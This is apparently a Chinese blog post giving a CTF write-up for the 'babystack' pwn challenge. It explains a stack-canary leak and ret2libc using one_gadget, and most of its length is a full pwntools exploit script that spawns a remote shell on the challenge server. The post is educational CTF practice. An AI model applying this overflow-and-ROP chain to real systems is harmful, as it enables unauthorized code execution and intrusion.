pwn1--攻防世界

这道题目看很多题解是使用 one_gadget  做的,还有的是使用 LibcSearcher 模块做的。我刚开始看见题目给了 libc库,但是我总是打不通。

这道题如果使用 LibcSearcher 来做就是常规的先泄露canary值后按照ret2libc来打就可以了。

 

 来先看一下,程序的主要部分。程序是要我们输入数字然后,执行打印,写入,退出这三个功能。

我们可以看到 read函数是有栈溢出漏洞的。还有puts函数。思路很明显。先通过puts函数泄露canary,然后利用栈溢出。

先来了解一下one_gadget。

one-gadget 是glibc里调用execve('/bin/sh', NULL, NULL)的一段非常有用的gadget。在我们能够控制ip(也就是pc)的时候,用one-gadget来做RCE(远程代码执行)非常方便,比如有时候我们能够做一个任意函数执行,但是做不到控制第一个参数,这样就没办法调用system("sh"),这个时候one gadget就可以搞定了。我之前每次都是用IDA去手动找的,哪怕我原来还找过,所以我就决定写个好用的工具来避免再手动去找。

最后做出来的工具是one_gadget,工具不仅可以找到one gadget还可以把需要满足的条件也给出来。

功能:查找已知的libc中exevce("/bin/sh")语句的地址
用法: one_gadget libc-x.xx.so

 

 

from pwn import *
context.arch = "amd64"
context.log_level = "debug"
 
elf = ELF("./babystack")
p = remote('111.200.241.244',64276)
#p = process("./babystack")
libc = ELF("./libc-2.23.so")
 
execve = 0x45216
main_addr = 0x400908
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x0400a93
 
payload = 'a'*0x88
p.sendlineafter(">> ","1")
p.sendline(payload)
 
p.sendlineafter(">> ","2")
p.recvuntil('a'*0x88+'\n')
 
canary = u64(p.recv(7).rjust(8,'\x00'))
 
payload1 = 'a'*0x88+p64(canary)+'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
 
p.sendlineafter(">> ","1")
p.send(payload1)
p.sendlineafter(">> ","3")
puts_addr=u64(p.recv(8).ljust(8,'\x00'))
 
execve_addr = puts_addr - (libc.symbols['puts'] - execve)
 
payload2 = 'a'*0x88+p64(canary)+'a'*8 + p64(execve_addr)
 
p.sendlineafter(">> ","1")
p.sendline(payload2)
p.sendlineafter(">> ","3")
p.interactive()

 

posted @ 2021-11-10 17:27  Mua_Uncle_W  阅读(282)  评论(0编辑  收藏  举报